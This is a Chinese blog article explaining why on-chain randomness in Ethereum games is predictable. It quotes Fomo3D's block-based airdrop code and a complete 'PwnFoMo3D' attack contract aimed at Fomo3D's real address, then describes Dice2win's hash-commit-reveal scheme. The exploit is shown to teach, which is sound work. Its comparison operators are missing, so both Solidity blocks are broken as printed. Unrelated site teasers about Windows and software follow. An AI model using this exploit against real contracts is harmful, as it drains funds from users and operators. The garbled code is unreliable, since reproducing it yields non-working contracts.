在以太坊應(yīng)用中,游戲一直都是熱點(diǎn)中的熱點(diǎn),而在游戲中,隨機(jī)數(shù)往往是一個不可或缺的功能,比如骰子游戲中,我們需要通過隨機(jī)數(shù)來控制點(diǎn)數(shù),如果一個游戲有一個好的隨機(jī)數(shù)算法的話,那么既可以保證游戲莊家不被黑,也可以保證玩家不被宰。
雖然隨機(jī)數(shù)很重要,但是壞消息是在以太坊中實現(xiàn)一個基本的隨機(jī)數(shù)并不是一件簡單的事情。對于不熟悉區(qū)塊鏈的人而言,這可能有些難以理解:畢竟大多數(shù)編程語言都有生成隨機(jī)數(shù)的功能,難道以太坊的 Solidity 沒有這個功能?答案是沒有!要搞清楚這一點(diǎn),我們還需要了解一下以太坊的運(yùn)行機(jī)制:以太坊是一個基于共識的區(qū)塊鏈系統(tǒng),當(dāng)智能合約代碼運(yùn)行的時候,不同的節(jié)點(diǎn)得到的結(jié)果必須一致。設(shè)想一下,假設(shè) Solidity 有一個 random 函數(shù),在 A 節(jié)點(diǎn)生成一個隨機(jī)數(shù) 123,在 B 節(jié)點(diǎn)生成一個隨機(jī)數(shù) 789,那就不存在共識了,區(qū)塊鏈的根基就不存在了,所以以太坊不存在 random 之類的函數(shù)。
下面我們以兩個比較出名的 DAPP 游戲為例,看看它們是如何生成隨機(jī)數(shù)的:
先看看 Fomo3D,它有一個空投獎金的功能,隨機(jī)數(shù)相關(guān)代碼如下:
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) airDropTracker_)
return(true);
else
return(false);
}
大概邏輯就是根據(jù)區(qū)塊和地址等信息做若干運(yùn)算,拿到一個隨機(jī)數(shù),進(jìn)而判斷用戶是否中獎,不過這個隨機(jī)數(shù)是一個偽隨機(jī)數(shù),讓我們看看對應(yīng)的攻擊代碼:
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
contract PwnFoMo3D {
constructor() public payable {
// Link up the fomo3d contract and ensure this whole thing is worth it
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
if (fomo3d.airDropPot_() 0.4 ether) {
revert();
}
// Calculate whether this transaction would produce an airdrop. Take the
// "random" number generator from the FoMo3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));
uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) = tracker) {
revert();
}
// Ok, seems we can win the airdrop, pwn the contract
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
不懂 Solidity 也沒關(guān)系,代碼邏輯很簡單:攻擊者部署新合約,然后在合約中按照相同的隨機(jī)數(shù)邏輯來預(yù)演自己能否中獎,不能就回滾,能就拿錢走人。如此一來,攻擊者的成本僅僅就是部署合約的 GAS 費(fèi),相對于偷來的獎金而言可以忽略不計。
再看看 Dice2win,其代碼最主要的函數(shù)就兩個:placeBet、settleBet,分別對應(yīng)著下注和開獎,其中采用了一種名為 hash-commit-reveal 的算法來實現(xiàn)隨機(jī)數(shù):
1.【莊家承諾】莊家(secretSigner)隨機(jī)生成某隨機(jī)數(shù)reveal,同時計算commit = keccak256 (reveal)對該reveal進(jìn)行承諾。然后根據(jù)目前區(qū)塊高度,設(shè)置一個該承諾使用的最后區(qū)塊高度commitLastBlock。 對commitLastBlock和commit的組合體進(jìn)行簽名得到sig,同時把(commit, commitLastBlock,sig)發(fā)送給玩家。
2.【玩家下注】玩家獲得(commit, commitLastBlock,sig)后選擇具體要玩的游戲,猜測一個隨機(jī)數(shù)r,發(fā)送下注交易placeBet到智能合約上進(jìn)行下注。
3.【莊家開獎】當(dāng)莊家在區(qū)塊block1中看到玩家的下注信息后。則發(fā)送settleBet交易公開承諾值reveal到區(qū)塊鏈上。合約計算隨機(jī)數(shù)random_number=keccak256(reveal,block1.hash)。如果random_number滿足用戶下注條件,則用戶勝,否則莊家勝。此外游戲還設(shè)有大獎機(jī)制,即如果某次random_number滿足某個特殊值(如88888),則用戶可贏得獎金池中的大獎。
說明:以上信息摘錄自「Not a fair game, Dice2win公平性分析」。
莊家承諾、玩家下注、莊家開獎三個步驟分別對應(yīng)著 hash-commit-reveal 的三個階段,整個過程中莊家掌握著隨機(jī)數(shù),玩家控制著投注,敏感信息分散在不同人手中,誰也別想單獨(dú)作弊,從而實現(xiàn)了一種相對公平的算法,當(dāng)然了,這里可能存在參考鏈接中提及的莊家選擇性開獎的問題,但這點(diǎn)可以通過別的方法來規(guī)避,這里略過不談。
看了本文的例子,相信大家應(yīng)該對如何在以太坊中生成隨機(jī)數(shù)有了一個基本的認(rèn)識:記住區(qū)塊鏈里一切都是公開的,不要試圖在智能合約里通過區(qū)塊之類的信息來生成隨機(jī)數(shù),而應(yīng)該在服務(wù)端通過 hash-commit-reveal 之類的算法來實現(xiàn)隨機(jī)數(shù)。此外,我再推薦一篇好文章:以太坊智能合約中隨機(jī)數(shù)預(yù)測。
電腦故障是每個用戶不可避免的問題,尤其是在技術(shù)不斷進(jìn)步的......
閱讀原神塔列辛之書成就完成攻略,原神塔列辛之書成就怎么做?原神......
閱讀很多使用win7系統(tǒng)電腦的小伙伴發(fā)現(xiàn)需要打開某個端口的時候,系......
閱讀在qq閱讀看付費(fèi)書時,會在章節(jié)閱讀結(jié)束時自動購買下一章節(jié),......
閱讀國家網(wǎng)信辦新規(guī)表示所有社交軟件群主需要實名制,包括微信群......
閱讀藍(lán)牙設(shè)備的普及使得我們?nèi)粘I钪性絹碓揭蕾囉谶@些無線連接。時常會遇到連接不成功的問題,令人困擾。無論是鼠標(biāo)、耳機(jī)還是音響,這些設(shè)備的藍(lán)牙適配器常常成為連接的關(guān)鍵環(huán)節(jié)。宋先...
次閱讀
在當(dāng)前科技迅速發(fā)展的時代,選擇合適的電腦硬件組合對于提升電腦性能至關(guān)重要。性能優(yōu)化不僅體現(xiàn)在單個硬件的選擇上,還取決于整體的系統(tǒng)兼容性和協(xié)同工作效果。本文將從最新的硬件市...
次閱讀
cdrx4軟件下載(coreldraw x4簡體中文版)相比兩年前的coreldraw x3中文正式版(cdr下載)加入了大量新特性,總計有50項以上,其中值得注意的亮點(diǎn)有文本格式實時預(yù)覽、字體識別、頁面無關(guān)層控制、交互...
次閱讀
win11下載不了軟件怎么處理才能下載呢 使用Win10系統(tǒng)時,很多朋友遇到了下載軟件被屏蔽的情況?,F(xiàn)在這個問題仍然存在于Win11。如果不能在Win11系統(tǒng)下載中下載軟件,下...
次閱讀
升級Win11任務(wù)欄不見了如何解決?最近有Win11的用戶 反映,在使用Win11系統(tǒng)的時候發(fā)現(xiàn)下面的任務(wù)欄不見了,那么Win11下面的任務(wù)欄沒了怎么辦呢?今天小編就來教大家升級Win11...
次閱讀
utorrent是一款體積迷你的bt下載工具,它在運(yùn)行的過程中不會過多的占用計算機(jī)系統(tǒng)的資源,能夠讓用戶快速、高效的進(jìn)行下載任務(wù),而且它為用戶提供了一邊下載bt種子,一邊調(diào)用第三方播放器...
次閱讀
edge瀏覽器是當(dāng)前大家非常喜歡的一款瀏覽器,大家在使用該瀏覽器的時候,想要進(jìn)入到隱身模式窗口中進(jìn)行瀏覽,但是發(fā)現(xiàn)進(jìn)入到edge瀏覽器隱身窗口之后,原本安裝好的插件,在edge瀏覽器隱藏...
次閱讀
網(wǎng)絡(luò)連接不穩(wěn)定是現(xiàn)代生活中常見的問題,尤其是在遠(yuǎn)程辦公和在線學(xué)習(xí)日益普及的背景下,網(wǎng)絡(luò)質(zhì)量的好壞直接影響到我們的工作和學(xué)習(xí)效率。許多用戶在使用電腦時,往往會遇到網(wǎng)絡(luò)連接緩...
次閱讀
在使用有道云筆記編寫文字時,如果想看看自己編寫文字有多少字?jǐn)?shù),該怎么查看呢?下面小編就和大家一起分享有道云筆記截圖功能的使用方法,還不會的朋友可以來看看本篇教程哦,希望通...
次閱讀
最近有很很多朋友表示很好奇ps是怎么將數(shù)字外面添加圓圈的?其實很簡單,下面小編就為大家?guī)砹藀s數(shù)字外面添加圓圈方法哦,感興趣的朋友趕快來看看吧。...
次閱讀
USB接口是現(xiàn)代電子設(shè)備中不可或缺的一部分,許多用戶在使用過程中會遇到USB接口松動或者接觸不良的問題。這種情況不僅影響設(shè)備的正常工作,還可能導(dǎo)致數(shù)據(jù)丟失或設(shè)備損壞。為了幫助用戶...
次閱讀
自助組裝電腦已經(jīng)成為越來越多用戶的選擇,這不僅因為它能提供更高的性能和可定制性,還能在相對較低的預(yù)算內(nèi)實現(xiàn)理想的計算機(jī)配置。缺乏經(jīng)驗的用戶常常在裝機(jī)過程中遭遇一些常見錯誤...
次閱讀
億圖腦圖mindmaster是一款非常好用的軟件,很多小伙伴都在使用。在億圖腦圖mindmaster中如果我們希望為指定內(nèi)容添加外框,小伙伴們指定具體該如何進(jìn)行操作嗎,其實操作方法是非常簡單的,添...
次閱讀
筆記本win11好用嗎?筆記本安裝win11怎么樣 其實幻塵早就聽說win11系統(tǒng)的消息了,但是卻一直不敢安裝,原因很簡單,之前讓win10系統(tǒng)給折騰怕了。由于是新系統(tǒng),問題頻發(fā),那...
次閱讀
USB接口是現(xiàn)代電腦和設(shè)備中不可或缺的一部分,其廣泛應(yīng)用于數(shù)據(jù)傳輸、設(shè)備充電和外設(shè)連接等多個場景。USB接口故障時常讓人感到無奈。為了幫助大家更好地應(yīng)對這種情況,下面將介紹簡便的...
次閱讀